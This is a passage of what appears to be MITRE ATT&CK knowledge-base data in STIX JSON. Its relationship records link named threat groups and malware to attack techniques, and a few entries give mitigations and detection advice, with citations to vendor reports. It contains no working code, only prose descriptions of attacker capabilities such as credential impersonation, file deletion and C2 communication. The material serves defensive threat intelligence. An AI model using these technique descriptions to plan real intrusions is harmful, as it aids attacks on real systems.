2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c14e629a-c0cd-4600-873b-924d04d8b627","type":"relationship","created":"2020-05-29T20:32:42.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-15T22:52:32.032Z","description":"[Get2](https://attack.mitre.org/software/S0460) has the ability to run executables with command-line arguments.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--099ecff2-41b8-436d-843c-038a9aa9aa69","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c151ee77-66ca-4b86-bc13-84759cf71321","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}],"modified":"2020-03-16T16:41:06.922Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) grabs a user token using WTSQueryUserToken and then creates a process by impersonating a logged-on user.(Citation: McAfee Bankshot)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1544dec-4586-466a-b730-862c06e9e3c7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.593Z","description":"[Gold Dragon](https://attack.mitre.org/software/S0249) collects endpoint information using the systeminfo command.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1566ee0-3ddb-4482-94dc-eb05e35e7afa","created":"2020-11-05T15:01:15.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Kimsuky Nov 2021","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"},{"source_name":"CISA AA20-301A Kimsuky","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a"},{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.415Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has modified Registry settings for default file associations to enable all macros and for persistence.(Citation: CISA AA20-301A Kimsuky)(Citation: Crowdstrike GTR2020 Mar 2020)(Citation: Talos Kimsuky Nov 2021)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c15c9cbf-7ecc-4e2b-8fe1-636f381bac63","type":"relationship","created":"2019-06-21T13:49:14.612Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-14T21:58:19.402Z","description":"Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c15dcb96-82f8-4f6e-bfc2-8d636d71567a","created":"2022-07-01T20:15:07.685Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-01T20:15:07.685Z","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"malware--8787e86d-8475-4f13-acea-d33eb83b6105","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1632c73-7043-4aef-89f6-abbf6af676d2","created":"2024-05-21T17:23:24.767Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T17:23:24.767Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has obtained victim's screen dimension and display device information.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c16854fa-add6-4be3-9547-05cc479861d8","type":"relationship","created":"2020-07-24T13:48:49.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"modified":"2020-07-24T13:48:49.757Z","description":"[gh0st RAT](https://attack.mitre.org/software/S0032) has used Zlib to compress C2 communications data before encrypting it.(Citation: Gh0stRAT ATT March 2019)","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c16c1ef2-2356-4987-bd9e-2cdaa007281a","type":"relationship","created":"2020-11-24T21:27:52.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity Ocean Lotus November 2020","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."}],"modified":"2020-11-24T21:27:52.600Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has set up Dropbox, Amazon S3, and Google Drive to host malicious downloads.(Citation: Volexity Ocean Lotus November 2020)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c17229de-8778-4dd9-adb9-7b9c6bb2b99b","type":"relationship","created":"2021-10-13T21:54:51.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Ransomware Feb 2020","url":"https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html","description":"Zafra, D., et al. (2020, February 24). Ransomware Against the Machine: How Adversaries are Learning to Disrupt Industrial Production by Targeting IT and OT. Retrieved March 2, 2021."}],"modified":"2021-10-13T21:54:51.738Z","description":"[EKANS](https://attack.mitre.org/software/S0605) uses encoded strings in its process kill list.(Citation: FireEye Ransomware Feb 2020) ","relationship_type":"uses","source_ref":"malware--00e7d565-9883-4ee5-b642-8fd17fd6a3f5","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c17b66a9-2911-4f5a-b954-54d881f79dbd","created":"2022-04-19T18:29:46.685Z","x_mitre_version":"0.1","external_references":[{"source_name":"inv_ps_attacks","url":"https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/","description":"Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)","modified":"2022-04-19T18:29:46.685Z","relationship_type":"detects","source_ref":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c17d90b5-569c-42db-9265-ac99cad32093","type":"relationship","created":"2021-03-30T02:18:56.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:53:15.902Z","description":"[Empire](https://attack.mitre.org/software/S0363) has a dylib hijacker module that generates a malicious dylib given the path to a legitimate dylib of a vulnerable application.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1806927-2279-4597-ada9-e0c06b65b7eb","type":"relationship","created":"2021-04-23T22:56:14.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Ebury Oct 2017","url":"https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/","description":"Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."}],"modified":"2021-04-23T22:56:14.733Z","description":"[Ebury](https://attack.mitre.org/software/S0377) has used Python to implement its DGA.(Citation: ESET Ebury Oct 2017)\t","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c18285a0-8c55-4aee-bb60-55b359cdfacb","created":"2024-09-18T18:30:07.302Z","revoked":false,"external_references":[{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T18:30:07.302Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) can delete itself while its process is still running through the use of an alternate data stream.(Citation: Elastic Latrodectus May 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c18296e4-93a2-4f75-8bcb-4a05692d9940","created":"2021-11-24T20:17:35.499Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T04:50:18.980Z","description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has leveraged the BatchEncryption tool to perform advanced batch script obfuscation and encoding techniques.(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c185a6ee-4897-49e0-801a-6c050054661f","type":"relationship","created":"2020-10-01T01:48:15.601Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T01:48:15.601Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2","target_ref":"attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c18652f6-e25c-4e01-bec2-04204a50cf23","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"}],"modified":"2020-03-31T22:21:47.653Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) can delete all files on the C:\\, D:\\, E:\\ and, F:\\ drives using [PowerShell](https://attack.mitre.org/techniques/T1059/001) Remove-Item commands.(Citation: FireEye MuddyWater Mar 2018)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c18699a3-915b-4c5f-b81a-a248cb558aaa","type":"relationship","created":"2021-01-06T22:00:01.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intrinsec Egregor Nov 2020","url":"https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1","description":"Bichet, J. (2020, November 12). Egregor – Prolock: Fraternal Twins ?. Retrieved January 6, 2021."}],"modified":"2021-03-22T22:05:59.533Z","description":"[Egregor](https://attack.mitre.org/software/S0554) has communicated with its C2 servers via HTTPS protocol.(Citation: Intrinsec Egregor Nov 2020)","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1884e62-7b2e-45a1-89fd-c76b1b717f50","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2021-06-17T19:03:17.474Z","description":"[OwaAuth](https://attack.mitre.org/software/S0072) has been loaded onto Exchange servers and disguised as an ISAPI filter (owaauth.dll). The IIS w3wp.exe process then loads the malicious DLL.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5","target_ref":"attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c18efb6c-f31d-43b8-8ddb-5d6ffce64018","type":"relationship","created":"2021-02-03T19:05:17.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Prevailion EvilNum May 2020","url":"https://www.prevailion.com/phantom-in-the-command-shell-2/","description":"Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}],"modified":"2022-01-19T18:23:53.025Z","description":"[EVILNUM](https://attack.mitre.org/software/S0568) can execute commands and scripts through rundll32.(Citation: Prevailion EvilNum May 2020) ","relationship_type":"uses","source_ref":"malware--7cdfccda-2950-4167-981a-60872ff5d0db","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c18f83e7-979e-4bd8-80bb-d0a4e8146a21","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:48.033Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can access a connected webcam and capture pictures.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c191afcc-515a-4f0c-85cc-15af0fd3674a","created":"2021-09-28T15:46:27.090Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cyberint Qakbot May 2021","description":"Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021.","url":"https://blog.cyberint.com/qakbot-banking-trojan"},{"source_name":"Group IB Ransomware September 2020","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021.","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp"},{"source_name":"Kaspersky QakBot September 2021","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.","url":"https://securelist.com/qakbot-technical-analysis/103931/"},{"source_name":"Trend Micro Qakbot May 2020","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021.","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"ATT QakBot April 2021","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot"},{"source_name":"Kroll Qakbot June 2020","description":"Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021.","url":"https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks"},{"source_name":"Trend Micro Qakbot December 2020","description":"Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021.","url":"https://success.trendmicro.com/solution/000283381"},{"source_name":"Deep Instinct Black Basta August 2022","description":"Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-05T20:19:14.316Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has spread through emails with malicious attachments.(Citation: Trend Micro Qakbot May 2020)(Citation: Kroll Qakbot June 2020)(Citation: Trend Micro Qakbot December 2020)(Citation: Cyberint Qakbot May 2021)(Citation: ATT QakBot April 2021)(Citation: Kaspersky QakBot September 2021)(Citation: Group IB Ransomware September 2020)(Citation: Deep Instinct Black Basta August 2022)(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c195f2cb-deff-400e-b89e-8625deaa9817","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T00:52:18.954Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of active and listening connections by using the command netstat -nao as well as a list of available network mappings with net use.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c19fcf1c-8c2c-4a71-a1fb-43934cc6ba23","type":"relationship","created":"2020-02-17T13:03:42.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-24T13:54:58.802Z","description":"The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.\n\nOrganizations may consider weighing the risk of storing credentials in password stores and web browsers. If system, software, or web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in improper locations.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1a4334d-8975-4ca2-8734-d6c26e36702a","type":"relationship","created":"2020-06-15T20:49:55.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Dyreza November 2015","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/","description":"hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."}],"modified":"2020-06-15T20:49:55.578Z","description":"[Dyre](https://attack.mitre.org/software/S0024) has the ability to identify the computer name, OS version, and hardware configuration on a compromised host.(Citation: Malwarebytes Dyreza November 